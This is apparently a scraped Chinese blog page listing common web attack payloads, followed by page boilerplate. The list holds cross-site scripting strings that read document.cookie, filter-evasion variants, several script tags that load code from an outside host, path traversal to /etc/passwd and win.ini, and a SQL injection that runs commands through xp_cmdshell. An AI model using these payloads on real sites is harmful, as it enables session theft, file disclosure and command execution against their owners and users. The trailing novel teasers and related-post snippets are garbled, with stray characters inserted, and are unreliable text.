'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert('Vulnerable');</script>
<script>alert('Vulnerable')</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert('Vulnerable')</script>
a/
a?<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
<IMG src="javascript:alert('XSS');">
<IMG src=javascript:alert('XSS')>
<IMG src=JaVaScRiPt:alert('XSS')>
<IMG src=JaVaScRiPt:alert("XSS")>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
"<IMG src=java\0script:alert(\"XSS\")>";' > out
<IMG src=" javascript:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND src="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER src="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" href="javascript:alert('XSS');">
<IMG src='vbscript:msgbox("XSS")'>
<IMG src="mocha:[code]">
<IMG src="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME src=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE href="javascript:alert('XSS');//">
getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
<XML src="javascript:alert('XSS');">
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG src="javascript:alert('XSS')"
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
<IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>XSS常用payload
最后編輯于 ：
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
- 文/潘曉璐 我一進(jìn)店門(mén)俺抽，熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)，“玉大人较曼，你說(shuō)我怎么就攤上這事凌埂。” “怎么了诗芜？”我有些...
- 文/不壞的土叔 我叫張陵瞳抓，是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我伏恐，道長(zhǎng)孩哑，這世上最難降的妖魔是什么？ 我笑而不...
- 正文 為了忘掉前任翠桦，我火速辦了婚禮横蜒，結(jié)果婚禮上胳蛮，老公的妹妹穿的比我還像新娘。我一直安慰自己丛晌，他們只是感情好仅炊，可當(dāng)我...
- 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著澎蛛，像睡著了一般抚垄。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上谋逻，一...
- 那天呆馁，我揣著相機(jī)與錄音，去河邊找鬼毁兆。 笑死浙滤，一個(gè)胖子當(dāng)著我的面吹牛，可吹牛的內(nèi)容都是我干的气堕。 我是一名探鬼主播纺腊，決...
- 文/蒼蘭香墨 我猛地睜開(kāi)眼，長(zhǎng)吁一口氣：“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼茎芭！你這毒婦竟也來(lái)了摹菠？” 一聲冷哼從身側(cè)響起，我...
- 序言：老撾萬(wàn)榮一對(duì)情侶失蹤骗爆，失蹤者是張志新（化名）和其女友劉穎次氨，沒(méi)想到半個(gè)月后，有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體摘投，經(jīng)...
- 正文 獨(dú)居荒郊野嶺守林人離奇死亡煮寡，尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
- 正文 我和宋清朗相戀三年，在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了犀呼。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片幸撕。...
- 正文 年R本政府宣布貌矿，位于F島的核電站，受9級(jí)特大地震影響罪佳，放射性物質(zhì)發(fā)生泄漏逛漫。R本人自食惡果不足惜，卻給世界環(huán)境...
- 文/蒙蒙 一赘艳、第九天 我趴在偏房一處隱蔽的房頂上張望酌毡。 院中可真熱鬧克握，春花似錦、人聲如沸枷踏。這莊子的主人今日做“春日...
- 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)旭蠕。三九已至停团，卻和暖如春，著一層夾襖步出監(jiān)牢的瞬間下梢，已是汗流浹背客蹋。 一陣腳步聲響...
- 正文 我出身青樓番电，卻偏偏與公主長(zhǎng)得像岗屏，于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子漱办，可洞房花燭夜當(dāng)晚...
推薦閱讀更多精彩內(nèi)容
- 1.自己寫(xiě) filter 攔截來(lái)實(shí)現(xiàn)这刷，但要注意的時(shí)，在WEB.XML 中配置 filter 的時(shí)候娩井，請(qǐng)將這個(gè) fi...
- 1. HTML 1.1 head 設(shè)置charset = UTF-8 防止IE下自動(dòng)使用 UTF7 1.2 con...
- 寫(xiě)這篇總結(jié)是為了方面大家在studio中的混淆配置1個(gè)推-dontwarn com.igexin.**-keep ...
- 【十四】經(jīng)典愛(ài)情語(yǔ)錄 愛(ài)情是什么洞辣？ 愛(ài)情咐刨，是一段漫長(zhǎng)的歲月；愛(ài)情扬霜，是一首相逢的歌…… 愛(ài)情是悲定鸟、歡、離著瓶、合联予，喜、怒...
- 6.26 星期一 今天學(xué)習(xí)了三位一體標(biāo)簽管理法材原，讓我們?cè)诟櫩偷牟檎覝贤ǚ芯茫?dòng)，回訪(fǎng)都大大提高了效率余蟹，節(jié)省了...
